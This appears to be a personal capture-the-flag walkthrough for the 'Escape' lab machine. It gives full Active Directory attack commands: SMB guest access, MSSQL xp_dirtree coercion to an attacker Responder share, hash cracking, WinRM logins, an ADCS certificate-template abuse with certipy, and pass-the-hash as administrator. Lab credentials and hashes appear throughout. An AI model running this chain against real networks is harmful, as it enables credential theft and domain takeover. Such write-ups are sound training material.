Escape

Escape

Netscan

10.10.11.202

sudo nmap -T4 -A -v -o nmap --min-rate 1000 $IP 
sudo nmap -T4 --script=vuln -v -o vuln --min-rate 1000 $IP
sudo nmap -T4 -A -v -p- -o alltcp --min-rate 1000 $IP
sudo nmap -A -v -p- -o alltcpslow $IP
echo "-----------------------------------------------------"
echo "TCP is done, startng udp (slowwwwww)"
echo "-----------------------------------------------------"
sudo nmap -T4 -sU -A -vv -p- -o udp --min-rate 1000 $IP

Ldap reveals domain

dc.sequel.htb
sequel.htb

We can add these to /etc/hosts

10.10.11.202    dc.sequel.htb sequel.htb dc

SMB

smbmap -H sequel.htb -u '' -p ''

No output

Lets try netexec

nxc smb dc.sequel.htb -u '' -p '' --shares

did not work.

💡

Adding any value to the username flag may give you access

nxc smb sequel.htb -u 'random' -p '' --shares

That workes

image

Lets look at public

smbclient.py random@sequel.htb

Enter nothing for password

image

PDF in public, lets download it

Reading through, we find a user:

image
brandon.brown@sequel.htb

Also we find credentials.

image
PublicUser:GuestUserCantWrite1

MSSQL - Lateral Movement

Lets login to mssql

impacket-mssqlclient PublicUser:GuestUserCantWrite1@sequel.htb

what can we do?

No commands :(

image

can’t enable

image

We do have permissions for directory listing: xp_dirtree

image

We use that to force authentication to a rogue share and steal a hash

setup responder

sudo responder -I tun0

then call any share with xp_dirtree

xp_dirtree \\10.10.16.2\pwn
image

crack with hashcat - ntlmv2 = 5600

hashcat -m 5600 sql_hash /usr/share/wordlists/rockyou.txt

CRACKED

sql_svc:REGGIE1234ronnie

More access?

image

Maybe we can xp_cmdshell on this user?

impacket-mssqlclient sql_svc:REGGIE1234ronnie@sequel.htb
💡

ALWAYS SPRAY ACROSS ALL SERVICES WHEN YOU FIND CREDS

we have winrm access

image
evil-winrm -u 'sql_svc' -p 'REGGIE1234ronnie' -i sequel.htb

Check users dir

image

We need to pivot into Ryan.Cooper

we find SQL error log bakup file in

C:\SQLServer\Logs> type ERROR*

Interesting entries

2022-11-18 13:43:06.74 spid9s      SQL Trace ID 1 was started by login "sa".
2022-11-18 13:43:06.74 spid9s      Server name is 'DC\SQLMOCK'. This is an informational message only. No user action is required.
2022-11-18 13:43:06.75 spid14s     Starting up database 'mssqlsystemresource'.
2022-11-18 13:43:06.75 spid9s      Starting up database 'msdb'.
2022-11-18 13:43:06.75 spid18s     Password policy update was successful.

Possible account to kerberoast

MSSQLSvc/dc.sequel.htb:SQLMOCK

Possible credential

2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

NuclearMosquito3

Its possible the user entered there password in the username prompt and caused it to be logged

nxc smb sequel.htb -u 'Ryan.Cooper' -p 'NuclearMosquito3'
image

Valid creds

WinRM with new creds

evil-winrm -u 'Ryan.Cooper' -p 'NuclearMosquito3' -i sequel.htb

User flag!

79e2....f42

Priv Esc

After looking around for a long time, I had to read a writeup. This box is vulnerable to an ADCS attack

we can check with nxc first

nxc ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs
image

We can use certipy to find vulnerable template

certipy-ad find -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable

Found UserAuthentication template allows client authentication

image

We can now request a pfx

certipy-ad req -u ryan.cooper -p NuclearMosquito3 -target sequel.htb -upn administrator@sequel.htb -ca sequel-dc-ca -template UserAuthentication
image

Now we can see if we can auth, get a tgt, get a hash

certipy-ad auth -pfx administrator.pfx

error :(

image

For certain kerberos functions to work properly, we must have a local<>remote clock.

we can sync with ntupdate

sudo apt install ntpdate
sudo ntpdate -u sequel.htb
image
image

just auth with the hash?

administrator:aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
evil-winrm -u 'administrator' -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee' -i sequel.htb
image

final flag

c663....3c